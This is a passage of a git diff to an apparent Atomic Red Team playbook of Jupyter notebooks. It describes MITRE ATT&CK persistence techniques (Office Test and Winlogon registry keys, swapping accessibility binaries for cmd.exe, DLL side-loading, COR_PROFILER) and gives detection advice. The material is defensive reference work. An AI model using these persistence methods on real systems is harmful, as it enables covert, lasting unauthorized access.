freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. \n\nAdversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) \nT1136 | Create Account | Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.\nT1547.013 | XDG Autostart Entries | Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)\nT1547.007 | Re-opened Applications | Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.\nT1574.002 | DLL Side-Loading | Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)\nT1098.002 | Additional Email Delegate Permissions | Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)\nT1653 | Power Settings | Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)\n\nAdversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)\n\nFor example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)\n\nAware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)\nT1037.001 | Logon Script (Windows) | Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \nT1137.002 | Office Test | Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.\nT1547.008 | LSASS Driver | Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.\nT1078.004 | Cloud Accounts | Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n\nT1053.002 | At | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\nT1556 | Modify Authentication Process | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nT1546.007 | Netsh Helper DLL | Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)\nT1505.001 | SQL Stored Procedures | Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) \nT1556.004 | Network Device Authentication | Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)\nT1574.004 | Dylib Hijacking | Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)\nT1078.003 | Local Accounts | Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. \nT1574.012 | COR_PROFILER | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)" }, { "cell_type": "code", "execution_count": null, - "id": "bd4637c5", + "id": "418062f0", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic persistence" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1004.ipynb b/playbook/tactics/persistence/T1004.ipynb deleted file mode 100644 index 99f2cf66..00000000 --- a/playbook/tactics/persistence/T1004.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "62fc8d84", - "metadata": {}, - "source": "# T1004 - Winlogon Helper DLL\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence." - }, - { - "cell_type": "markdown", - "id": "8dffe5cd", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "77013168", - "metadata": {}, - "source": "## Detection\nMonitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1013.ipynb b/playbook/tactics/persistence/T1013.ipynb deleted file mode 100644 index 1fe5e2a0..00000000 --- a/playbook/tactics/persistence/T1013.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "ff3e410e", - "metadata": {}, - "source": "# T1013 - Port Monitors\nA port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM." - }, - { - "cell_type": "markdown", - "id": "c509be72", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "94067421", - "metadata": {}, - "source": "## Detection\n* Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1015.ipynb b/playbook/tactics/persistence/T1015.ipynb deleted file mode 100644 index e8854a20..00000000 --- a/playbook/tactics/persistence/T1015.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "6714184a", - "metadata": {}, - "source": "# T1015 - Accessibility Features\nWindows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe" - }, - { - "cell_type": "markdown", - "id": "a30ee331", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "20d55a52", - "metadata": {}, - "source": "## Detection\nChanges to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1019.ipynb b/playbook/tactics/persistence/T1019.ipynb deleted file mode 100644 index 484b853f..00000000 --- a/playbook/tactics/persistence/T1019.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "31dee0ea", - "metadata": {}, - "source": "# T1019 - System Firmware\nThe BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect." - }, - { - "cell_type": "markdown", - "id": "f117a4d7", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "4ac276a4", - "metadata": {}, - "source": "## Detection\nSystem firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1023.ipynb b/playbook/tactics/persistence/T1023.ipynb deleted file mode 100644 index 2926932b..00000000 --- a/playbook/tactics/persistence/T1023.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "1b186333", - "metadata": {}, - "source": "# T1023 - Shortcut Modification\nShortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program." - }, - { - "cell_type": "markdown", - "id": "04fe4a07", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "2ab2c422", - "metadata": {}, - "source": "## Detection\nSince a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1031.ipynb b/playbook/tactics/persistence/T1031.ipynb deleted file mode 100644 index cfe2e63c..00000000 --- a/playbook/tactics/persistence/T1031.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "e9205afa", - "metadata": {}, - "source": "# T1031 - Modify Existing Service\nWindows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)" - }, - { - "cell_type": "markdown", - "id": "aeb65727", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "f4ab0888", - "metadata": {}, - "source": "## Detection\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": 